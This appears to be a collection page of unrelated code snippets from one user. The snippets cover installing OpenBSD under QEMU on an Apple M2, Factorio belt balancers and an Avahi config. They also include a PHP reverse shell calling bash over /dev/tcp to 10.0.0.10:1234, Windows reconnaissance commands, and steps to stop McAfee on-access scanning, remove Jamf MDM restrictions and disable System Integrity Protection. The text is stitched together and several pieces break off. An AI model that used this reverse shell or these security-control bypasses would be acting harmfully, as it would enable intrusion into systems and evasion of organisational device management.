willk

OpenBSD on Apple M2 with QEMU

Minimalist installation of OpenBSD on the apple m2 using qemu

Ingredients

• Apple M2 running macOS Monterey 12.5.1
• QEMU version 7.1.0
• OpenBSD 7.1 arm64

Installation

1. install QEMU with Homebrew brew install qemu, also possible with MacPorts
2. Write a script with execute permissions chmod +x qemu_aarch64_install_openbsd.sh for installing the image.

willk

Disable Device Enrollment Program (DEP) notification on macOS Catalina.md

With full reinstall (recommended)

   a. Boot into recovery using command-R during reboot, wipe the harddrive using Disk Utility, and select reinstall macOS

   b. Initial installation will run for approximately 1 hour, and reboot once

   c. It will then show a remaining time of about 10-15 minutes

willk

Blueprint book string

Collection of belt balancers. These balancers could originally be found on the wiki, now there are hosted here and on factorioprints.com.

Includes:

• 12 to 4 throughput unlimited (all belt colors)
• 12 to 6 (blue belt)
• 12 to 12 (all belt colors)
• 16 to 16 inline (blue belt)
• 16 to 16 throughput unlimited (all belt colors)

willk

Disable Device Enrollment Notification on MacOS Catalina

Restart the Mac in Recovery Mode by holding Command-R during restart

Open Terminal in the recovery screen and type:

csrutil disable

Restart Computer Normally

willk

REMOVE JAMF RESTRICTIONS ON MAC

REMOVE ONLY RESTRICTIONS

sudo jamf removeMDMProfile removes all restrictions

sudo jamf manage brings back all restrictions and profiles

REMOVE ALL RESTRICTIONS AND DISABLE JAMF BINARIES WHILE KEEPING YOUR ACCESS TO VPN AND OTHER SERVICES

sudo jamf removeMDMProfile removes all restrictions

willk

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");

willk

// What system are we connected to?
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

// Get the hostname and username (if available)
hostname
echo %username%

// Get users
net users
net user [username]

willk

method 1

sudo /usr/local/McAfee/AntiMalware/VSControl stopoas

alternatively

sudo defaults write /Library/Preferences/com.mcafee.ssm.antimalware.plist OAS_Enable -bool False
sudo /usr/local/McAfee/AntiMalware/VSControl stop
sudo /usr/local/McAfee/AntiMalware/VSControl reload

willk

Unofficial Guide to JAMF Casper

This page documents the external/internal behavior of Casper.

Files

Casper installed itself into the following directories:

• /Library/Application Support/JAMF
  • ManagementFrameworkScripts - a set of scripts that runs on certain events
    • StartupScript.sh - Activated when jamf is started
    • loginhook.sh - Activated when user login
• logouthook.sh - Activated when user logout

willk

<?xml version="1.0" standalone='no'?>
<!DOCTYPE service-group SYSTEM "avahi-service.dtd">
<service-group>
 <name replace-wildcards="yes">%h</name>
 <service>
   <type>_adisk._tcp</type>
   <txt-record>sys=waMa=0,adVF=0x100</txt-record>
   <txt-record>dk0=adVN=Time Capsule,adVF=0x82</txt-record>
 </service>
  <service>